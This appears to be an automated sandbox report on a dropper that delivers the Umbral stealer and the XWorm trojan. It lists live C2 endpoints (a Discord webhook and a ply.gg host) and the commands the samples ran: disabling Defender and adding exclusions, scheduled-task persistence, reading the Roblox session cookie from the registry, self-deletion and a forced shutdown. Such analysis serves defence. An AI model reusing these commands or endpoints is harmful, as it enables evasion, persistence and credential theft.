Analysis

  • max time kernel
    138s
  • max time network
    138s
  • platform
    windows7_x64
  • resource
    win7-20240419-en
  • resource tags

    arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
  • submitted
    12-05-2024 09:05

Errors

Reason
Machine shutdown

General

  • Target

    New Project 1.exe

  • Size

    486KB

  • MD5

    330f592f3a03c5e2c2ed4593d227f1a8

  • SHA1

    55957a8e8d405569c655923dd9414c4ec6c45a0d

  • SHA256

    0f10ed177734b40d0ca45eed258f8c3ca585323e32db8f3cab7387b61de0e679

  • SHA512

    497f9308a49eb1e9451675f447c5774cbaf267dd77b69e1ab494609feca17a20224ac707e54abcb090ee90e1e8187e9fa681c200bcec97ac1bc36b0ce38d15c2

  • SSDEEP

    12288:cWjF6EjvVYEaZ1hJcSx3ThB6xL3s7H4sn4/OxJrinEXL/sT:p68aZ1hlxlay5HdCuL

Malware Config

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1239139511359897700/no9NKxq5Y0T8pWT8XT2sOPqegxvgFUODOTwovbkwjhDGUE5-JgfcJdGO-V3YrtPZiVPB

Extracted

Family

xworm

C2

reference-elliott.gl.at.ply.gg:37420

Attributes
  • Install_directory

    %Userprofile%

  • install_file

    svchost.exe

Signatures

  • Detect Umbral payload 3 IoCs
  • Detect Xworm Payload 5 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Drops startup file 3 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\New Project 1.exe
    "C:\Users\Admin\AppData\Local\Temp\New Project 1.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2220
    • C:\Users\Admin\AppData\Local\Temp\1.exe
      "C:\Users\Admin\AppData\Local\Temp\1.exe"
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2208
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:2232
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '1.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:632
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\svchost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1992
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1712
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\svchost.exe"
        3⤵
        • Creates scheduled task(s)
        PID:2440
    • C:\Users\Admin\AppData\Local\Temp\2.exe
      "C:\Users\Admin\AppData\Local\Temp\2.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2632
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2656
      • C:\Windows\system32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\2.exe"
        3⤵
        • Views/modifies file attributes
        PID:2540
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2580
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1792
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2452
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2856
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1592
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:2972
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:2240
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:844
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:1540
          • C:\Windows\system32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\2.exe" && pause
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2960
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • Runs ping.exe
              PID:356
      • C:\Windows\system32\taskeng.exe
        taskeng.exe {53EBA4B2-25DD-452F-AD43-F5EB4327DE1B} S-1-5-21-481678230-3773327859-3495911762-1000:UIBNQNMA\Admin:Interactive:[1]
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:3040
        • C:\Users\Admin\svchost.exe
          C:\Users\Admin\svchost.exe
          2⤵
          • Executes dropped EXE
          PID:2580
        • C:\Users\Admin\svchost.exe
          C:\Users\Admin\svchost.exe
          2⤵
          • Drops startup file
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of SetWindowsHookEx
          PID:1708
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\svchost.exe'
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            PID:1480
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            PID:1840
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\svchost.exe'
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            PID:1136
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            PID:604
          • C:\Windows\System32\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\svchost.exe"
            3⤵
            • Creates scheduled task(s)
            PID:2672
          • C:\Windows\system32\shutdown.exe
            shutdown.exe /f /s /t 0
            3⤵
              PID:2988
        • C:\Windows\system32\LogonUI.exe
          "LogonUI.exe" /flags:0x0
          1⤵
            PID:468
          • C:\Windows\system32\LogonUI.exe
            "LogonUI.exe" /flags:0x1
            1⤵
              PID:2276

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\1.exe

              Filesize

              88KB

              MD5

              4e4ffd6981f1d7df1e06e02c7a52e86a

              SHA1

              970d227a122a826f587fb49c694a422ec6aff1e0

              SHA256

              353010e5cbdfb234aadfcb40b517b51b24bbac81b64d794d5d8f8b1cd0cd6031

              SHA512

              1f75401fe015416453119bb92ea46c71412f342fe4bf1170bc2655a1c4f1fb4344bdff64df8dfd54f8203b30445225a70f12790432d3b59693e96de2fa5750ec

            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

              Filesize

              7KB

              MD5

              22814894a904d83b5f6456184f71b470

              SHA1

              60e4b62420307f920a3e4569fb95919e72addf16

              SHA256

              f965983aa6b325c882606c4547fe272268e5eafdf0d3186cb445ebdc13c3c451

              SHA512

              2b4db44a8b8d186cd9c58a30ec7eeb772f07565e86632e2c812d21d7d2a363c7ac463f25bd0c74f6c8e78088deafeca5e363280a128875d80a6c2b705440ae64

            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

              Filesize

              7KB

              MD5

              cb559cb574e1148064357b3d902efe2c

              SHA1

              f650c3549a6d73695d29e59b7680dd3083a1b859

              SHA256

              b4b1ff1e804041796a0acdf754ca2861abb03f9b33a47219ece3c7b0b6b9ca35

              SHA512

              4bfb62c9c3082864072d9abb4ad540eaee86813b05069423c356caf1d4a9a5ca3e0cfec19065d8ccdcc20b95360bbb522e21d45296f1c1c766e52d38f99f528f

            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk

              Filesize

              677B

              MD5

              982605f5a17157830fff34336e98a305

              SHA1

              309592ee358d30211ad16044ba23716194b85807

              SHA256

              aa660b62df906ae0a225684f9ac2ea38925ff5ce8a0f6ffb56d960cc3e4787b9

              SHA512

              12072c91654d628b4f5dd34b73e325bbd356670886f5e8647db631be27bbc9914a6bd833b57fa5000d23e7bc8bba0d7121441cf26ff8e4277f5571aa46698870

            • \Users\Admin\AppData\Local\Temp\2.exe

              Filesize

              230KB

              MD5

              8068d967a754039c953d677ed75caa65

              SHA1

              c6ca62d0e3f84f4018546cdf40b14ac80b06af95

              SHA256

              b2811334ba1ec945f7f2f1b1976e72dd634a4cf8b5679ceb4c90816d5b646b11

              SHA512

              8f8f9b0c50f3178daa1df6ce16755c7a0de24872a344fe6b93d1a9b11cfad2faa1ed5ad58c6ac9904b889188d8efaba2d51e4240e7a813fffe6878ec8970954c

            • memory/1708-92-0x00000000008D0000-0x00000000008EC000-memory.dmp

              Filesize

              112KB

            • memory/1792-27-0x000000001B600000-0x000000001B8E2000-memory.dmp

              Filesize

              2.9MB

            • memory/1792-28-0x0000000001F40000-0x0000000001F48000-memory.dmp

              Filesize

              32KB

            • memory/2208-15-0x0000000001230000-0x000000000124C000-memory.dmp

              Filesize

              112KB

            • memory/2220-0-0x0000000000400000-0x000000000047C000-memory.dmp

              Filesize

              496KB

            • memory/2232-56-0x0000000001E50000-0x0000000001E58000-memory.dmp

              Filesize

              32KB

            • memory/2580-88-0x0000000000380000-0x000000000039C000-memory.dmp

              Filesize

              112KB

            • memory/2580-21-0x0000000002810000-0x0000000002818000-memory.dmp

              Filesize

              32KB

            • memory/2580-20-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

              Filesize

              2.9MB

            • memory/2632-14-0x00000000013D0000-0x0000000001410000-memory.dmp

              Filesize

              256KB